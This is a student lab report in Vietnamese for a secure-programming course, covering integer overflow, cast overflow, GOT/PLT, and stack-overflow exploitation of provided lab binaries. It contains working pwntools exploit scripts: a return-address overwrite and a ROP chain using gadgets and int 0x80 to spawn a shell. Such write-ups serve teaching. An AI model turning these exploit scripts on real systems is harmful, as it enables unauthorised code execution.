

# BÁO CÁO BÀI TẬP

Môn học: Lập trình an toàn và khai thác lỗ hổng phần mềm

Lab 5: Integer overflow và ROP

GVHD: Nguyễn Hữu Quyền

## THÔNG TIN CHUNG:

Lớp: NT521.P12.ANTT.2

STT	Họ và tên	MSSV	Email
1	Lại Quan Thiên	22521385	22521385@gm.uit.edu.vn
2	Mai Nguyễn Nam Phương	22521164	22521164@gm.uit.edu.vn
3	Đặng Đức Tài	22521270	22521270@gm.uit.edu.vn
4	Hồ Diệp Huy	22520541	22520541@gm.uit.edu.vn

Phần bên dưới của báo cáo này là tài liệu báo cáo chi tiết của nhóm thực hiện.

## BÁO CÁO CHI TIẾT

Các bước thực hiện/ Phương pháp thực hiện/Nội dung tìm hiểu (Ảnh chụp màn hình, có giải thích)

**Yêu cầu 1.** Sinh viên chạy thử trường hợp tràn trên và giải thích kết quả thu được? Vì sao ta có được giá trị đó? Tràn trên xảy ra khi nào?

- Tạo 1 file .c và thực thi

```
home > hohuy > C task.c > main()
1  #include <stdio.h>
2
3  int main() {
4      short int a = 0x7fff;
5      unsigned short int b = 0xffff;
6
7      a = a + 1;
8      b = b + 1;
9
10     printf("Gia tri cua a (short int): %hd\n", a);
11     printf("Gia tri cua b (unsigned short int): %hu\n", b);
12
13     return 0;
14 }
```

PROBLEMS OUTPUT DEBUG CONSOLE TERMINAL

```
hohuy@ubuntu:~$ ./task
Gia tri cua a (short int): -32768
Gia tri cua b (unsigned short int): 0
hohuy@ubuntu:~$
```

- Giải thích

+ Cả a và b đều có giá trị 2 byte (16 bit)

+ Đầu tiên với  $a = 0x7fff$ , chuyển sang chuỗi nhị phân có dạng 0111 1111 1111 1111. Với a là kiểu số nguyên có dấu, khi +1 ta tính được kết quả  $1000\ 0000\ 0000\ 0000 = -2^{15} = -32768$ .

+ Với  $b = 0xffff$ , chuyển sang nhị phân là 1111 1111 1111 1111, khi ta + 1 sẽ ra kết quả 1 0000 0000 0000 0000. Với số nguyên không dấu, khi bị dư 1 bit ta sẽ bỏ bit 1 ở đầu, kết quả sẽ là  $0000\ 0000\ 0000\ 0000 = 0x0000 = 0$ .

**Yêu cầu 2.** Sinh viên chạy thử trường hợp tràn dưới và giải thích kết quả thu được? Vì sao ta có được giá trị đó? Tràn dưới xảy ra khi nào?

- Mở gdb và xem mã assembly, sau đó đặt breakpoint tại vị trí hàm malloc và read:

```
dducktai@ubuntu: ~/LTAT/Lab5-resource
0x080484e5 <+26>: xor    eax,eax
0x080484e7 <+28>: mov    DWORD PTR [ebp-0x18],0x10
0x080484ee <+35>: sub    esp,0x8
0x080484f1 <+38>: lea    eax,[ebp-0x1c]
0x080484f4 <+41>: push   eax
0x080484f5 <+42>: push   0x80485d0
0x080484fa <+47>: call   0x80483a0 <scanf@plt>
0x080484ff <+52>: add    esp,0x10
0x08048502 <+55>: mov    edx,DWORD PTR [ebp-0x1c]
0x08048505 <+58>: mov    eax,DWORD PTR [ebp-0x18]
0x08048508 <+61>: add    eax,edx
0x0804850a <+63>: mov    DWORD PTR [ebp-0x14],eax
0x0804850d <+66>: mov    eax,DWORD PTR [ebp-0x14]
0x08048510 <+69>: sub    esp,0xc
0x08048513 <+72>: push   eax
0x08048514 <+73>: call   0x8048390 <malloc@plt>
0x08048519 <+78>: add    esp,0x10
0x0804851c <+81>: mov    DWORD PTR [ebp-0x10],eax
0x0804851f <+84>: mov    eax,DWORD PTR [ebp-0x1c]
0x08048522 <+87>: sub    esp,0x4
0x08048525 <+90>: push   eax
0x08048526 <+91>: push   DWORD PTR [ebp-0x10]
0x08048529 <+94>: push   0x0
0x0804852b <+96>: call   0x8048370 <read@plt>
0x08048530 <+101>: add    esp,0x10
0x08048533 <+104>: nop
0x08048534 <+105>: mov    eax,DWORD PTR [ebp-0xc]
0x08048537 <+108>: xor    eax,DWORD PTR gs:0x14
0x0804853e <+115>: je     0x8048545 <main+122>
0x08048540 <+117>: call   0x8048380 <__stack_chk_fail@plt>
0x08048545 <+122>: mov    ecx,DWORD PTR [ebp-0x4]
0x08048548 <+125>: leave
0x08048549 <+126>: lea    esp,[ecx-0x4]
0x0804854c <+129>: ret
End of assembler dump.
pwndbg> b* main+73
Breakpoint 1 at 0x8048514
pwndbg> b* main+96
Breakpoint 2 at 0x804852b
```

- Chạy chương trình và nhập input là một số nguyên dương. Ví dụ là 10:

```

dducktai@ubuntu: ~/LTAT/Lab5-resource
Breakpoint 1, 0x08048514 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
[ REGISTERS / show-flags off / show-compact-regs off ]
EAX 0x1a
EBX 0
ECX 0
EDX 0xa
EDI 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ← 0x1ead6c
ESI 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ← 0x1ead6c
EBP 0xffffd118 ← 0
ESP 0xffffd0e0 ← 0x1a
EIP 0x08048514 (main+73) → 0xfffe77e8 ← 0
[ DISASM / i386 / set emulate on ]
► 0x08048514 <main+73>    call    malloc@plt          <malloc@plt>
    size: 0x1a

0x08048519 <main+78>    add     esp, 0x10
0x0804851c <main+81>    mov     dword ptr [ebp - 0x10], eax
0x0804851f <main+84>    mov     eax, dword ptr [ebp - 0x1c]
0x08048522 <main+87>    sub     esp, 4
0x08048525 <main+90>    push    eax
0x08048526 <main+91>    push    dword ptr [ebp - 0x10]
0x08048529 <main+94>    push    0
0x0804852b <main+96>    call    read@plt          <read@plt>

0x08048530 <main+101>   add     esp, 0x10
0x08048533 <main+104>   nop

[ STACK ]
00:0000 | esp 0xffffd0e0 ← 0x1a
01:0004 | -034 0xffffd0e4 → 0xffffd0fc ← 0xa /* '\n' */
02:0008 | -030 0xffffd0e8 ← 0
03:000c | -02c 0xffffd0ec → 0xf7dfe352 (__internal_atexit+66) ← add esp, 0x10
04:0010 | -028 0xffffd0f0 → 0xf7fb53fc (__exit_funcs) → 0xf7fb6180 (initial) ← 0
05:0014 | -024 0xffffd0f4 ← 0x140000
06:0018 | -020 0xffffd0f8 ← 2
07:001c | -01c 0xffffd0fc ← 0xa /* '\n' */

[ BACKTRACE ]
► 0 0x08048514 main+73
  1 0xf7de4ed5 __libc_start_main+245

pwndbg>

```

- Trạng thái trước khi gọi hàm **malloc**, ta thấy hàm này cần 1 tham số có giá trị là **data\_len + 0x10 = 10 + 0x10 = 0x1a**. Tiếp tục debug đến vị trí hàm read, ta thấy tham số thứ 3 là **data\_len** ứng với độ dài cần đọc là **10 (Oct) = 0xa (Hex)**

```

dducktai@ubuntu: ~/LTAT/Lab5-resource
Breakpoint 2, 0x0804852b in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
[ REGISTERS / show-flags off / show-compact-regs off ]
*EAX 0xa
EBX 0
*ECX 0x21a39
*EDX 0x804b5c8 ← 0
EDI 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ← 0x1ead6c
ESI 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ← 0x1ead6c
EBP 0xffffd118 ← 0
ESP 0xffffd0e0 ← 0
*EIP 0x0804852b (main+96) → 0xfffe40e8 ← 0
[ DISASM / i386 / set emulate on ]
0x0804851f <main+84>    mov     eax, dword ptr [ebp - 0x1c]
0x08048522 <main+87>    sub     esp, 4
0x08048525 <main+90>    push   eax
0x08048526 <main+91>    push   dword ptr [ebp - 0x10]
0x08048529 <main+94>    push   0
▶ 0x0804852b <main+96>    call   read@plt                <read@plt>
    fd: 0 (/dev/pts/0)
    buf: 0x804b5b0 ← 0
    nbytes: 0xa
0x08048530 <main+101>   add     esp, 0x10
0x08048533 <main+104>   nop
0x08048534 <main+105>   mov     eax, dword ptr [ebp - 0xc]
0x08048537 <main+108>   xor     eax, dword ptr gs:[0x14]
0x0804853e <main+115>   je      main+122                <main+122>
[ STACK ]
00:0000 | esp 0xffffd0e0 ← 0
01:0004 | -034 0xffffd0e4 → 0x804b5b0 ← 0
02:0008 | -030 0xffffd0e8 ← 0xa /* '\n' */
03:000c | -02c 0xffffd0ec → 0xf7dfe352 (__internal_atexit+66) ← add esp, 0x10
04:0010 | -028 0xffffd0f0 → 0xf7fb53fc (__exit_funcs) → 0xf7fb6180 (initial) ← 0
05:0014 | -024 0xffffd0f4 ← 0x140000
06:0018 | -020 0xffffd0f8 ← 2
07:001c | -01c 0xffffd0fc ← 0xa /* '\n' */
[ BACKTRACE ]
▶ 0 0x0804852b main+96
1 0xf7de4ed5 __libc_start_main+245
pwndbg>

```

**Yêu cầu 3.** Với data\_len nhập vào là -1, hàm malloc() sẽ hiểu đang cần cấp phát bao nhiêu byte? Read sẽ đọc chuỗi có giới hạn là bao nhiêu byte? Vì sao?

*Lưu ý: Số lượng byte tìm được cần đổi sang giá trị ở hệ thập phân (hệ cơ số 10).*

- Khi truyền giá trị -1 cho hàm malloc(), tham số này sẽ được chuyển đổi thành kiểu size\_t, vốn là số nguyên không dấu. Giá trị -1 chuyển sang size\_t, nó trở thành giá trị lớn nhất có thể biểu diễn, ví dụ: 0xFFFFFFFF (trên hệ thống 32-bit) hoặc 0xFFFFFFFFFFFFFFFF (trên hệ thống 64-bit). Tức là malloc() sẽ nhận tham số 0000 0000 0001 0000 + 1111 1111 1111 1111 = 1 0000 0000 0000 1111. Xảy ra hiện tượng tràn số, nên ta bỏ bit 1 đầu nên kết quả sẽ là 0x000f = 0xf

```

warning: Unable to find libthread_db matching inferior's thread library, thread debugging will not be available.
-1
Breakpoint 1, 0x08048514 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
[ REGISTERS / show-flags off / show-compact-regs off ]
EAX 0xf
EBX 0xf7f9ae14 (_GLOBAL_OFFSET_TABLE_) ← 0x235d0c /* '\x0c]'#' */
ECX 0
EDX 0xffffffff
EDI 0xf7ffcb60 (_rtld_global_ro) ← 0
ESI 0x8048550 (__libc_csu_init) ← push ebp
EBP 0xffffcd28 ← 0
ESP 0xffffccf0 ← 0xf
EIP 0x8048514 (main+73) → 0xfffe77e8 ← 0
[ DISASM / i386 / set emulate on ]
► 0x8048514 <main+73>    call    malloc@plt          <malloc@plt>
                        size: 0xf

0x8048519 <main+78>    add     esp, 0x10
0x804851c <main+81>    mov     dword ptr [ebp+0x10], eax
0x804851f <main+84>    mov     eax, dword ptr [ebp+0x1c]
0x8048522 <main+87>    sub     esp, 4
0x8048525 <main+90>    push    eax
0x8048526 <main+91>    push    dword ptr [ebp+0x10]
0x8048529 <main+94>    push    0
0x804852b <main+96>    call    read@plt          <read@plt>

0x8048530 <main+101>   add     esp, 0x10
0x8048533 <main+104>   nop

[ STACK ]
00:0000 | esp 0xffffccf0 ← 0xf
01:0004 | -034 0xffffccf4 → 0xffffcd0c ← 0xffffffff
02:0008 | -030 0xffffccf8 ← 0
... ↓    3 skipped
06:0018 | -020 0xffffcd08 ← 0xffffffff
07:001c | -01c 0xffffcd0c ← 0xffffffff
[ BACKTRACE ]
► 0 0x8048514 main+73
1 0xf7d89d43 __libc_start_call_main+115
2 0xf7d89e08 __libc_start_main+136
3 0x80483f1 _start+33

```

- Tham số thứ 3 của read là 0xffffffff, tuy nhiên read đọc giá trị số nguyên không dấu nên số byte thật sự read đọc có giới hạn là 4294967295



		[ STACK ]	
00:0000	esp	0xffffccf0	← 0
01:0004	-034	0xffffccf4	→ 0x804b5b0 ← 0
02:0008	-030	0xffffccf8	← 0xffffffff
03:000c	-02c	0xffffccfc	← 0
... ↓		2 skipped	
06:0018	-020	0xffffcd08	← 0xffffffff
07:001c	-01c	0xffffcd0c	← 0xffffffff

- Tham số thứ 3 của read là 0xffffffff, tuy nhiên read đọc giá trị số nguyên không dấu nên số byte thật sự read đọc có giới hạn là 4294967295

```
pwndbg> p 0xffffffff
$1 = 4294967295
pwndbg> █
```

**Yêu cầu 4.** Sinh viên thử tìm giá trị của **a** để chương trình có thể in ra thông báo **"OK! Cast overflow done"**? Giải thích?

- Mục tiêu là làm sao để  $n = 0$  để khi so sánh sẽ cho ra kết quả true, khi đó ta sẽ khai thác thành công bài tập này
- Tại dòng main + 45, ta thấy biến a được lưu ở thanh ghi rax 8 byte

```
Dump of assembler code for function main:
0x0000000000400620 <+0>:      push    rbp
0x0000000000400621 <+1>:      mov     rbp, rsp
0x0000000000400624 <+4>:      sub     rsp, 0x10
0x0000000000400628 <+8>:      mov     rax, QWORD PTR fs:0x28
0x0000000000400631 <+17>:     mov     QWORD PTR [rbp-0x8], rax
0x0000000000400635 <+21>:     xor     eax, eax
0x0000000000400637 <+23>:     lea     rax, [rbp-0x10]
0x000000000040063b <+27>:     mov     rsi, rax
0x000000000040063e <+30>:     mov     edi, 0x400733
0x0000000000400643 <+35>:     mov     eax, 0x0
0x0000000000400648 <+40>:     call    0x4004e0 <__isoc99_scanf@plt>
0x000000000040064d <+45>:     mov     rax, QWORD PTR [rbp-0x10]
0x0000000000400651 <+49>:     test    rax, rax
0x0000000000400654 <+52>:     jne     0x400662 <main+66>
0x0000000000400656 <+54>:     mov     edi, 0x400737
0x000000000040065b <+59>:     call    0x4004b0 <puts@plt>
0x0000000000400660 <+64>:     jmp     0x40066d <main+77>
0x0000000000400662 <+66>:     mov     rax, QWORD PTR [rbp-0x10]
0x0000000000400666 <+70>:     mov     edi, eax
0x0000000000400668 <+72>:     call    0x4005f6 <check>
0x000000000040066d <+77>:     mov     eax, 0x0
0x0000000000400672 <+82>:     mov     rdx, QWORD PTR [rbp-0x8]
0x0000000000400676 <+86>:     xor     rdx, QWORD PTR fs:0x28
0x000000000040067f <+95>:     je      0x400686 <main+102>
0x0000000000400681 <+97>:     call    0x4004c0 <__stack_chk_fail@plt>
0x0000000000400686 <+102>:    leave
0x0000000000400687 <+103>:    ret
```

- Ta thấy trước khi gọi hàm check thì eax sẽ được gán vào edi
- Khi ta nhập a thì nó sẽ lưu ở thanh ghi rax 8 byte, tuy nhiên eax chỉ có 4 byte nên nó chỉ lấy 4 byte cuối. Vì vậy suy ra ta chỉ cần nhập các giá trị có dạng thập lục phân như sau 0xk00000000. Với k là số nguyên dương tùy ý
- Đặt breakpoint tại hàm check và chọn k là 1, chuyển sang số thập phân là  $0x100000000 = 4294967296$

```
[ REGISTERS / show-flags off / show-compact-regs off ]
RAX 0x100000000
RBX 0x400690 (__libc_csu_init) ← push r15
RCX 0
RDX 0
*RO1 0
RSI 0
R8 0xa
R9 0
R10 0x7ffff7f60ac0 (_nl_C_LC_CTYPE_toupper+512) ← 0x100000000
R11 0x7ffff7f613c0 (_nl_C_LC_CTYPE_class+256) ← 0x2000200020002
R12 0x400500 (_start) ← xor ebp, ebp
R13 0x7fffffffdef0 ← 1
R14 0
R15 0
RBP 0x7fffffffde00 ← 0
RSP 0x7fffffffddfd0 ← 0x100000000
*RIP 0x400668 (main+72) ← call 0x4005f6
```



```

0x40064d <main+45>  mov     rax, qword ptr [rbp - 0x10]    RAX, [0x7fffffffddfd] => 0x100000000
0x400651 <main+49>  test    rax, rax                        0x100000000 & 0x100000000    EFLAGS => 0x206 [ cf PF af zf sf I
F df of ]
0x400654 <main+52>  ✓ jne     main+66                        <main+66>
↓
0x400662 <main+66>  mov     rax, qword ptr [rbp - 0x10]    RAX, [0x7fffffffddfd] => 0x100000000
0x400666 <main+70>  mov     edi, eax                        EDI => 0
▶ 0x400668 <main+72>  call    check                          <check>
    rdi: 0
    rsi: 0
    rdx: 0
    rcx: 0

0x40066d <main+77>  mov     eax, 0                          EAX => 0
0x400672 <main+82>  mov     rdx, qword ptr [rbp - 8]
0x400676 <main+86>  xor     rdx, qword ptr fs:[0x28]
0x40067f <main+95>  je      main+102                        <main+102>

0x400681 <main+97>  call    __stack_chk_fail@plt           <__stack_chk_fail@plt>
[ STACK ]

00:0000 | rsp 0x7fffffffddfd ← 0x100000000
01:0000 | -008 0x7fffffffddfd ← 0x153035fac4881c00
02:0010 | rbp 0x7fffffffde00 ← 0
03:0018 | +008 0x7fffffffde08 → 0x7ffff7de9083 (__libc_start_main+243) ← mov edi, eax
04:0020 | +010 0x7fffffffde10 → 0x7ffff7ffc620 (_rtld_global_ro) ← 0x50fa8000000000
05:0028 | +018 0x7fffffffde18 → 0x7fffffffdef8 → 0x7ffff7fe269 ← '/home/wanthinnn/Documents/NT521/Lab_5/Lab5-resource/cast-overflow'
06:0030 | +020 0x7fffffffde20 ← 0x100000000
07:0038 | +028 0x7fffffffde28 → 0x400620 (main) ← push rbp
[ BACKTRACE ]

▶ 0      0x400668 main+72
1      0x7ffff7de9083 __libc_start_main+243
2      0x400529 _start+41

```

- Lúc này rdi là 0, nên edi cũng là 0, mà edi là tham số của hàm check nên nghĩa là  $n = 0$
- Ta chạy chương trình thử kết quả với k là 1, 2, 3, 5, 10

```

wanthinnn@ThinLinux: ~/Documents/NT521/Lab_5/Lab5-resource
wanthinnn@ThinLinux: ~/Documents/NT521/Lab_5/Lab5-resource x wanthinnn@ThinLinux: ~/Documents/NT521/Lab_5/Lab5-resource x
wanthinnn@ThinLinux:~/Documents/NT521/Lab_5/Lab5-resource$ ./cast-overflow
4294967296
OK! Cast overflow done
wanthinnn@ThinLinux:~/Documents/NT521/Lab_5/Lab5-resource$ ./cast-overflow
68719476736
OK! Cast overflow done
wanthinnn@ThinLinux:~/Documents/NT521/Lab_5/Lab5-resource$ ./cast-overflow
8589934592
OK! Cast overflow done
wanthinnn@ThinLinux:~/Documents/NT521/Lab_5/Lab5-resource$ ./cast-overflow
12884901888
OK! Cast overflow done
wanthinnn@ThinLinux:~/Documents/NT521/Lab_5/Lab5-resource$ ./cast-overflow
21474836480
OK! Cast overflow done
wanthinnn@ThinLinux:~/Documents/NT521/Lab_5/Lab5-resource$

```

- Thử với k=1000:

```

wanthinnn@ThinLinux:~/Documents/NT521/Lab_5/Lab5-resource$ ./cast-overflow
168882409046016
OK! Cast overflow done

```

- Ta thấy rằng, chỉ cần thỏa được điều kiện k là số nguyên dương tùy ý, thì với mọi giá trị thập phân khi được đổi từ giá trị thập lục phân  $0xk00000000$  thì ta đều khai thác được chương trình.

**Yêu cầu 5.** Sinh viên khai thác lỗ hổng stack overflow của file thực thi **vulnerable**, điều hướng chương trình thực thi hàm **success**. Báo cáo chi tiết các bước thực hiện.

- Mở gdb hàm success để xác định địa chỉ là **0x0804846b**

```
pwndbg> disassemble success
Dump of assembler code for function success:
   0x0804846b <+0>:    push    ebp
   0x0804846c <+1>:    mov     ebp,esp
   0x0804846e <+3>:    sub     esp,0x8
   0x08048471 <+6>:    sub     esp,0xc
   0x08048474 <+9>:    push    0x8048560
   0x08048479 <+14>:   call    0x8048330 <puts@plt>
   0x0804847e <+19>:   add     esp,0x10
   0x08048481 <+22>:   sub     esp,0xc
   0x08048484 <+25>:   push    0x0
   0x08048486 <+27>:   call    0x8048340 <exit@plt>
End of assembler dump.
```

- Mở gdb xem hàm vulnerable, ta thấy hàm được cung cấp một đoạn buffer dài  $0x14 = 20$  byte

```
pwndbg> disassemble vulnerable
Dump of assembler code for function vulnerable:
   0x0804848b <+0>:    push    ebp
   0x0804848c <+1>:    mov     ebp,esp
   0x0804848e <+3>:    sub     esp,0x18
   0x08048491 <+6>:    sub     esp,0xc
   0x08048494 <+9>:    lea     eax,[ebp-0x14]
   0x08048497 <+12>:   push    eax
   0x08048498 <+13>:   call    0x8048320 <gets@plt>
   0x0804849d <+18>:   add     esp,0x10
   0x080484a0 <+21>:   sub     esp,0xc
   0x080484a3 <+24>:   lea     eax,[ebp-0x14]
   0x080484a6 <+27>:   push    eax
   0x080484a7 <+28>:   call    0x8048330 <puts@plt>
   0x080484ac <+33>:   add     esp,0x10
   0x080484af <+36>:   nop
   0x080484b0 <+37>:   leave
   0x080484b1 <+38>:   ret
End of assembler dump.
```

- Vậy ta cần 20 byte để ghi đè toàn bộ buffer, thêm 4 byte saved frame và cuối cùng 4 byte cho địa chỉ trả về là hàm success

- Ta viết file python khai thác

```
from pwn import *
sh = process('/home/hohuy/Lab5-resource/vulnerable')
success_address = 0x0804846b
payload = b'a' * 24 + p32(success_address)
print(p32(success_address))
sh.sendline(payload)
sh.interactive()
```

- Thực thi file:

```
hohuy@ubuntu:~/Lab5-resource$ python3 task5.py
[*] Starting local process './vulnerable': pid 4245
b'k\x84\x04\x08'
[*] Switching to interactive mode
[*] Process './vulnerable' stopped with exit code 0 (pid 4245)
aaaaaaaaaaaaaaaaaaaaaak\x84\x04\x08
You Have already controlled it.
[*] Got EOF while reading in interactive
$
```

**Yêu cầu 6.** Sinh viên tự tìm hiểu và giải thích ngắn gọn về: **procedure linkage table** và **Global Offset Table** trong ELF Linux.

### 1. Global Offset Table (GOT)

Mục đích: Lưu trữ địa chỉ thực tế (runtime address) của các biến toàn cục hoặc hàm được gọi động. GOT cho phép chương trình truy cập các địa chỉ này một cách gián tiếp.

Cách hoạt động:

- + Tại thời điểm biên dịch, các mục trong GOT chưa chứa địa chỉ thực tế mà chỉ là các giá trị giả định.
- + Khi chương trình chạy, bộ liên kết động (dynamic linker) cập nhật bảng GOT với các địa chỉ thực tế của các biến hoặc hàm.

Lợi ích:

- + Hỗ trợ position-independent code (PIC), cho phép mã chương trình chạy ở bất kỳ địa chỉ nào trong bộ nhớ mà không cần thay đổi.

### 2. Procedure Linkage Table (PLT)

Mục đích: Là một cầu nối để gọi các hàm động trong chương trình.

Cách hoạt động:

- + Khi một hàm được gọi lần đầu tiên, PLT chuyển hướng cuộc gọi đến dynamic linker. Dynamic linker sẽ tìm địa chỉ thực tế của hàm trong thư viện, sau đó cập nhật vào GOT. Trong các lần gọi tiếp theo, PLT sẽ sử dụng địa chỉ đã được cập nhật trong GOT, bỏ qua việc tìm kiếm.

Lợi ích:

- + Tăng hiệu năng cho các cuộc gọi sau lần đầu tiên.
- + Hỗ trợ tệp thực thi không cần biết trước địa chỉ chính xác của các hàm thư viện trong quá trình biên dịch.

**Yêu cầu 7.** Sinh viên khai thác lỗ hổng stack overflow trong file [rop](#) để mở shell tương tác.

- Sử dụng ROPgadget tìm các địa chỉ của pop eax, pop ebx, pop ecx, pop edx, int 0x80

```
(kali㉿kali)-[~/Downloads/Lab5-resource]
$ ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
```

- Ta tìm được địa chỉ của pop eax ; ret là 0x080bb196

```
(kali㉿kali)-[~/Downloads/Lab5-resource]
$ ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret
```

- Ta có địa chỉ của pop ebx; ret là 0x080481c9

```
(kali@kali)-[~/Downloads/Lab5-resource]
$ ROPgadget --binary rop --only 'pop|ret' | grep 'ecx'
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
```

- Ta thấy có một địa chỉ gộp cả ba pop edx ; pop ecx; pop ebx; ret là **0x0806eb90**.

```
(kali@kali)-[~/Downloads/Lab5-resource]
$ ROPgadget --binary rop --string '/bin/sh'
Strings information
=====
0x080be408 : /bin/sh
```

- Tìm thấy vị trí của chuỗi /bin/sh ở 0x080be408

```
(kali@kali)-[~/Downloads/Lab5-resource]
$ ROPgadget --binary rop --only 'int'
Gadgets information
=====
0x08049421 : int 0x80
0x080890b5 : int 0xcf
```

- Cuối cùng ta tìm địa chỉ của system call int 0x80 là **0x08049421**

- Tiếp theo ta sẽ tạo chuỗi thực thi các gadget. Cần xác định địa chỉ trả về để ghi đè

Đặt breakpoint tại gets. Ta thấy địa chỉ ebp là 0xffffcd98, còn địa chỉ bắt đầu sẽ là 0xffffcd2c.

Từ đó ta xác định được buffer là 0xffffcd98 – 0xffffcd2c = 108

```
pwndbg> p 0xffffcd98 - 0xffffcd2c
$1 = 108
pwndbg> █
```

```
[ REGISTERS / show-flags off / show-compact-regs off ]
EAX 0xffffcd2c ← 3
EBX 0x80481a8 (_init) ← push ebx
ECX 0x80eb4d4 (_IO_stdfile_1_lock) ← 0
EDX 0x18
EDI 0x80ea00c (_GLOBAL_OFFSET_TABLE_+12) → 0x8067b10 (__stpcpy_sse2) ← mov edx, 0
ptr esp + 4
ESI 0
EBP 0xffffcd98 → 0x8049630 (__libc_csu_fini) ← push ebx
ESP 0xffffcd0c → 0x8048e9b (main+119) ← mov eax, 0
EIP 0x804f650 (gets) ← push edi
```

- Ngoài ra ta cần chèn thêm 4 byte bất kỳ để có thể ghi đè, nên padding là 112 byte

Theo stack thì ta sẽ tạo một file python khai thác như sau

```
GNU nano 8.2 a.py
from pwn import *
sh = process('./rop')
eax = 0x080bb196
ebx = 0x080481c9
edx_ecx_ebx = 0x0806eb90
bin_sh = 0x080be408
int_0x80 = 0x08049421
payload = b'a'*112
payload += p32(eax)
payload += p32(0x0b)
payload += p32(edx_ecx_ebx)
payload += p32(0x00)
payload += p32(0x00)
payload += p32(bin_sh)
payload += p32(int_0x80)
sh.sendline(payload)
sh.interactive()
```

- Kết quả:

```
(kali㉿kali)-[~/Downloads/Lab5-resource]
$ python a.py
[+] Starting local process './rop': pid 5906
[*] Switching to interactive mode
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
$ ls
a.py  cast-overflow  malloc-overflow  rop  vulnerable
$
```